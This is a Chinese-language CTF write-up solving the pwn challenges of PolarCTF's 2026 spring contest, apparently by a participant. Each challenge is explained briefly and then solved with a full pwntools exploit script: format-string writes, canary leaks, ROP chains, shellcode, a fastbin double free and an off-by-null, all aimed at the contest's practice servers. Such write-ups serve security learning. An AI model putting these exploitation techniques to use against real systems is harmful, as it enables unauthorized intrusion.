Polarctf2026年春季个人挑战赛pwn全解

前言(可以不看)

这次的题不是很难,但是这服务器是真不行,靶机经常开不出来,而且有时候平台还炸了,当时写的时候fmt我是只通了本地,远程没通,然后book当时没写出来,其他的都出了,不过canary没去交了(8点一直到8点半都开不了靶机,逗我?)总的来说我还是打的不太好,除了fmt我的exp都在复现平台打通过,应该还是能参考一下的,不过主要也是学思路。

z99

这个题比较简单,就是创建了四个堆,第一次有堆溢出可以在v4[1]的地方写值,溢出到v5[1]把本来的堆指针覆盖成这个z99的地址,然后在第二次输入的时候就可以往z99改值让他满足条件去getshell了,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 1
if flag:
    p = remote('1.95.7.68',2067)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
tar=0x60108C
pay=p64(tar)*0x40
sl(pay)
sl(p64(0x11))
ti()

bank

看着比较多但是很简单,就是一个格式化字符串写,因为是32位系统所以把money的地址放前面,测出偏移直接写即可。exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='i386'
elf=ELF('./pwn')
flag = 1
if flag:
    p = remote('1.95.7.68',2089)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def ph(s):
    print(hex(s))
def dbg():
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
tar=0x804A06C
pay=p32(tar)+b'%9995c%6$hn'
sl(pay)
ti()

littlecan

main函数先检测输入,输入的第二个字符的ascii码要大于f,就可以进到后面的函数

有格式化字符串漏洞,并且有栈溢出,第一次用格式化字符串泄露canary再打栈溢出即可,当然也可以用格式化字符串写,先改printf的got表为system函数,第二次输入/bin/sh\x00即可getshell,打栈溢出的exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='i386'
elf=ELF('./pwn')
flag = 1
if flag:
    p = remote('1.95.36.136',2068)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def ph(s):
    print(hex(s))
def dbg():
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
back=0x8048621
ru(b"This is a good start!\n")
sd(b'z'*4)
pay=b'%31$p'
sd(pay)
can=i6(rc(10))
pay=0x1d*p32(can)+p32(back)
sd(pay)
ti()

sandbox1

沙箱规则如下

只允许orw再去ida看看

这里不知道为啥反编译不了(我没学过逆向...)直接看汇编也可以,这里可以看见,我们输入的地址就是ebp-0x70,接下来程序又会call 这个地址,也就是我们可以直接写shellcode过去执行,用工具生成一段shellcode即可,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='i386'
elf=ELF('./pwn')
flag = 1
if flag:
    p = remote('1.95.36.136',2112)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def ph(s):
    print(hex(s))
def dbg():
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
pay=asm(shellcraft.open(b'./flag',0))+asm(shellcraft.read(3,0x810ADE0,0x100))+asm(shellcraft.write(1,0x810ADE0,0x100))
sd(pay)
ti()

这个0x810ADE0是可写的地址,就是bss段上的。

one_hundred

先有一次格式化字符串写

改这个n为100即可继续然后又有一次格式化字符串写

这里直接打印了/bin/sh,所以我们直接在第二次格式化字符串写的时候改printf的got表为system函数即可getshell,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
flag = 1
if flag:
    p = remote('1.95.36.136',2148)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
tar=0x804A06C
pr=elf.got['printf']
sy=elf.sym['system']
pay=p32(tar)+b'%96c%4$hhn'
sd(pay)
pay=p32(pr)+p32(pr+2)+b'%'+str((sy&0xffff)-8).encode()+b'c%4$hn'
pay+=b'%'+str(((sy>>16)&0xffff)+0x10000-(sy&0xffff)).encode()+b'c%5$hn'
ph(sy)
sd(pay)
ti()

where_sh

32位的栈溢出,有canary,先用格式化字符串泄露出canary,然后栈溢出先返回gets,先往bss段写入/bin/sh\x00,然后gets返回system函数,把bss段作为参数即可getshell,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='i386'
elf=ELF('./pwn')
flag = 1
if flag:
    p = remote('1.95.36.136',2144)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
ge=elf.sym['gets']
sy=elf.sym['system']
bss=0x804A06C
ru(b"Welcome to the challenge!\n")
pay=b'%27$p'
sd(pay)
can=i6(rc(10))
pay=p32(can)*0x18+flat(ge,sy,bss,bss,bss)
sl(pay)
sl(b'/bin/sh\x00')
ti()

2free

这个应该是2.23版本的菜单题,有后门,漏洞点在delete

这里没有把指针置空,有uaf漏洞,我们再看看edit函数

可以看见这里这个写入的大小是在bss段上的,然后bss段上有堆的位置(也就是写入的地方)也在bss段上,所以我们打fastbin attack(不了解可以看看我写的文章Heap(堆)基础知识与UAF及Fastbin attck,流程就是先申请两个堆,释放第一个堆,释放第二个堆,再释放第一个堆。来形成一个循环链表,然后申请一个堆,改这个堆的fd指针,然后申请三次堆,最后申请的就是我们目标地址的堆了,不过这个堆的大小有讲究,要错位出来。完成之后我们先修改写入的大小,把他改大之后就可以写到bss段上的堆地址,把这个原来是堆地址的位置写成free的got表,再edit就可以往free的got表写了。攻击完成的效果如图

这样就相当于我们在0x60133d伪造了一个堆块,所以能申请到这个位置。exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
flag = 1
if flag:
    p = remote('1.95.36.136',2099)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s):
    ru(b"4.show")
    sdr(1)
    ru(b"Size: ")
    slr(s)
def free(s):
    ru(b"4.show")
    sdr(3)
    ru(b"Index: ")
    sdr(s)
def edit(s,a):
    ru(b"4.show")
    sdr(2)
    ru(b"Index: ")
    sdr(s)
    ru(b"Contents: ")
    sd(a)
back=0x400c26
li=0x6013C0
tar=0x60133d
add(0x60)
add(0x60)
add(0x20)
free(1)
free(0)
free(1)
add(0x60)
edit(1,p64(tar))
add(0x60)
add(0x60)
add(0x60)
edit(6,0x13*b'b'+p64(0x100000)*0x9)
edit(6,0x3*b'b'+p64(0x100000)*0xe+p64(elf.got['free']))
edit(0,p64(back))
free(2)
ti()

zero

我记得比赛好像没这题啊....不过靶场上有就写一下吧

这里有一个栈溢出,开了pie,但是给了polar这个变量的地址,相当于没开pie,栈溢出返回xin函数

这里把sh跟bin这两个字符串禁了,但没禁flag,直接cat flag即可,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='i386'
elf=ELF('./pwn')
flag = 1
if flag:
    p = remote('1.95.36.136',2112)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def ph(s):
    print(hex(s))
def dbg():
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
ru(b"the polar gift for you ")
pie=i6(rc(10))-0x2080
ph(pie)
back=pie+0x8C0
pay=0x70*b'b'+p32(back)
sd(pay)
sl(b'cat f*')
ti()

bllhl_fmt

保护全开的任意格式化字符串写,当时我没写出来就是因为远程跟本地环境不一样导致栈地址不对,不过在2026PolarCTF春季赛wp -- 叁玖の小博客这位师傅的文章下,了解了环境变量,就可以打了,我打的是栈返回,也就是call一个函数时会先在栈上留下这个函数的返回地址,我们通过格式化字符串是可以改这个地址的

改后效果如下

等printf函数结束后就会返回这个返回地址触发add rsp+0x58;ret从而回到我们栈上的rop链,也可以学这位师傅的攻击手法改返回地址,然后打stdin的IO结构退出循环,我当时是想用p.shutdown('write')发EOF退出循环,但是这样只能本地打了,好像远程不能只关一个管道。打栈返回的exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
    p = remote('1.95.36.136',2146)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def ph(s):
    print(hex(s))
def dbg():
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
pay=b'.%43$p.%45$p.kkk'
sl(pay)
a,libcbase,pie,c=ru(b'k'*3).decode().split('.')
libcbase=i6(libcbase)-0x29d90
pie=i6(pie)-0x120e
st=libcbase+libc.sym['environ']
pay=b'kkkk%8$s'+p64(st)
sl(pay)
ru(b'k'*4)
st=u6(6)-0x120-0x130
ph(st)
rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search('/bin/sh'))
bss=pie+0x4048
ad58=libcbase+0xa0265
pay=fmtstr_payload(7,{st:ad58},numbwritten=8,write_size='short')
pay=pay.ljust(0x50,b'b')+flat(rdi,binsh,ret,system)
sl(pay)
ti()

打IO结构的exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
    p = remote('1.95.36.136',2146)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def ph(s):
    print(hex(s))
def dbg():
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
pay=b'.%43$p.%45$p.kkk'
sl(pay)
a,libcbase,pie,c=ru(b'k'*3).decode().split('.')
libcbase=i6(libcbase)-0x29d90
pie=i6(pie)-0x120e
st=libcbase+libc.sym['environ']
pay=b'kkkk%8$s'+p64(st)
sl(pay)
ru(b'k'*4)
st=u6(6)-0x120
ph(st)
rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search('/bin/sh'))
bss=pie+0x4048
ad58=libcbase+0xa0265
pay=fmtstr_payload(7,{bss:b'/bin/sh\x00'},numbwritten=8,write_size='short')
sl(pay)
pay=fmtstr_payload(7,{st+8:bss},numbwritten=8,write_size='short')
sl(pay)
pay=fmtstr_payload(7,{st:rdi},numbwritten=8,write_size='short')
sl(pay)
pay=fmtstr_payload(7,{st+0x10:ret},numbwritten=8,write_size='short')
sl(pay)
pay=fmtstr_payload(7,{st+0x18:system},numbwritten=8,write_size='short')
sl(pay)	
std=libcbase+libc.sym['_IO_2_1_stdin_'] + 0x70
pay=fmtstr_payload(7,{std:0xffffffff},numbwritten=8,write_size='short')
sl(pay)
ti()

bllhl_canary

这个题看着挺吓人,实际上还是挺简单的

这里通过各种加密解密在栈上放了很多检测,但实际上通过格式化字符串都可以把这些东西泄露出来,我们直接看汇编语言,看看他检测的地方在哪

可以看见在rbp-0x30,和rbp-0x28的地方会覆盖对应的寄存器,然后会有一个比较,之后在rbp-0x18的地方还有一个比较,我们把这些值通过格式化字符串全泄露出来,然后还原回去就可以栈溢出了,不用管其他的,同时格式化字符串还可以泄露出libc基地址,所以直接打就可以了,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
from ae64 import AE64
from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 1
if flag:
    p = remote('1.95.36.136',2141)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
ru(b"[stage1] format string leak:")
#69
pay=b'%38$p.%39$p.%41$p.%49$p.kkkk'
sd(pay)
ru("[echo] ")
a,b,c,libcbase,d=ru(b'k'*4).decode().split('.')
a=i6(a)
b=i6(b)
c=i6(c)
libcbase=i6(libcbase)-0x29d90
ph(libcbase)
sy=libcbase+libc.sym['system']
ret=libcbase+0x29139
binsh=libcbase+next(libc.search('/bin/sh'))
rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))
pay=0x60*b'b'+flat(a,b,0,c)+0x18*b'b'+flat(ret,rdi,binsh,sy)
sd(pay)
ti()

bllhl_book

这个题我感觉挺有意思的,我是第一次见这种(我比较菜)

我就不一个个函数解释了,直接看关键的,首先是creat

这里写了一大串,其实就是构造出了一个结构体,然后在g_lib[8 * free_slot + 32]的位置写上了这个结构体偏移+0x80的指针

通过后面的printf可以知道各部分的名字,book的结构大致如图所示

漏洞点在改名字那

这里有一个off by null,粗略的看好像没啥用,但仔细看会发现,他写入的地址是g_lib,写入的大小是0x20,通过off by null其实我们就可以改掉第一个book在bss段上的地址(g_lib[8 * free_slot + 32]),改了之后的效果就是这样

因为简介是我们可以写值的,所以我们一开始在简介上布置好值就相当于伪造了一个book结构体,然后其中的id,名字,指针,大小都可以随便取值,我们把名字改成一个函数的got表,通过print功能就可以泄露出libc基地址,指针改成下图的函数指针的地址,后面edit往book里写值就可以改掉这个指针改成system(注意这个函数指针后面是stdout,不能把这值改掉了,不然会报错)再改名字把g_lib里写入/bin/sh\x00,再调用下图这个函数就可以getshell了

exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
from ae64 import AE64
from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 1
if flag:
    p = remote('1.95.36.136',2085)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s).encode())
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def free(s):
    ru(b"> ")
    slr(2)
    ru(b"Enter the book id you want to delete: ")
    slr(s)
def edit(s,a):
    ru(b"> ")
    slr(3)
    ru(b"Enter the book id you want to edit: ")
    slr(s)
    ru(b"Enter new book description: ")
    sl(a)
def pr():
    ru(b"> ")
    slr(4)
def rename(a):
    ru(b"> ")
    slr(5)
    ru(b"Enter author name: ")
    sl(a)
def back():
    ru(b"> ")
    slr(6)
    ru(b"[*] Polar review engine:\n")
def add(s,a,d,f):
    ru(b"> ")
    slr(1)
    ru(b"Enter book name size: ")
    slr(s)
    ru(b"Enter book name (Max 32 chars): ")
    sl(a)
    ru(b"Enter book description size: ")
    slr(d)
    ru(b"Enter book description: ")
    sl(f)
tar=0x404018
sl(b'b')
puts=elf.got['puts']
pay=b'b'
pay=flat(1,puts,tar,0x80)
add(0x20,b'b',0x60,pay)
rename(b'a'*0x20)
pr()
ru(b"Name: ")
libcbase=u6(6)-libc.sym['puts']
ph(libcbase)
sy=libcbase+libc.sym['system']
wa=libcbase+libc.sym['_IO_2_1_stdout_']
edit(1,p64(sy)+p64(wa))
rename(b'/bin/sh\x00')
back()
ti()